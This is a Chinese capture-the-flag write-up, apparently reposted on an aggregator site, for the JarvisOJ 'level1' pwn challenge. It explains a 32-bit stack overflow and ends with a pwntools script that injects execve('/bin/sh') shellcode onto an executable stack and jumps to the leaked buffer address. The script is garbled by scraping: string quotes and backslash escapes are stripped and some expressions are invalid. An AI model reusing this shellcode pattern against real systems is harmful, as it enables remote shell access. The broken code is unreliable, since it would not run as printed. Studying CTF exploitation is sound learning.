加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > 安全 > 正文

JarvisOJ pwn (二)

发布时间:2020-12-15 22:23:55 所属栏目:安全 来源:网络整理
导读:0x 02 level1 这道题和level0一样,首先观察到buf距离栈帧底部距离为0x88h bytes(136bytes),而read函数却允许我们输入256个bytes的数据,可以溢出覆盖。 接下来就是思考攻击手法 搜索了一下IDA中的字符出发现并没有‘/bin/sh‘等高权限shell的字眼,也没有

0x  02  level1

这道题和level0一样,首先观察到buf距离栈帧底部距离为0x88h bytes(136bytes),而read函数却允许我们输入256个bytes的数据,可以溢出覆盖。

接下来就是思考攻击手法

搜索了一下IDA中的字符出发现并没有‘/bin/sh‘等高权限shell的字眼,也没有调用system函数等的执行高权限命令的函数等,这里我们就可以考虑用shellcode

所谓shellcode,这里引用一下百度百科的定义“shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。”我们在level0中覆盖了返回地址,当函数返回到上一层的调用函数中时本质是一种根据地址的跳转,跳转到对应地址去执行某个函数、某条语。这些函数或者语句在底层其实对应的汇编或者说机器指令,而shellcode就是具有能打开一个shell的一段16进制机器码,我们可以理解成system(‘/bin/sh‘),但我们要将它插入到内存中所以要转化成对应的机器码的形式,而根据不同情况为了能成功获取shell,shellcode往往也要进行各种各样的修改,这才有了shellcode的开发。

思路:

我们可以将shellcode填充到栈上顺便将返回地址覆盖到它的首地址,这样当函数跳转到它的地址后就会将shellcode依次解析并执行

?

注意

1.关于返回地址的确定,可以看到我们这样的填充方式是要返回到buf的首地址去,而buf的首地址每次都打印出来了,我们需要在payload中截取它

2.我们的shellcode是直接怼在了栈上,也就是跳转后将栈上的数据当作程序来执行,这就要求程序没有启动安全编译选项使得栈上的代码是可执行的,用pwntools的checksec来查看这个程序开启了哪些安全编译选项,可以看到NX选项并没有打开,这说明栈上的代码可执行,这项决定了栈上代码是否可执行,所以在栈上用shellcode的时候要先看一下这个程序是否支持。

?

payload:

from pwn import *
# 连接服务器
io = remote("pwn2.jarvisoj.com",9877)
# 目标程序会给出一个地址,经过分析,这个地址就是返回地址
# 但它是动态变化的每次都不一样
line=int(io.recvline().split(:)[1]-"?")

# 栈空间总长度
lenth=0x88+4
# 将地址打包16进制字符串(pwntool的基本操作)
retrun_add=p32(line)
# 网上找的shellcode
shellcode=x31xc0x31xdbx50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bx51x52x55x89xe5x0fx34x31xc0x31xdbxfexc0x51x52x55x89xe5x0fx34
# 拼接payload
payload=shellcode+(lenth-len(shellcode))*A+retrun_add
# 发送
io.sendline(payload)
io.interactive()

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读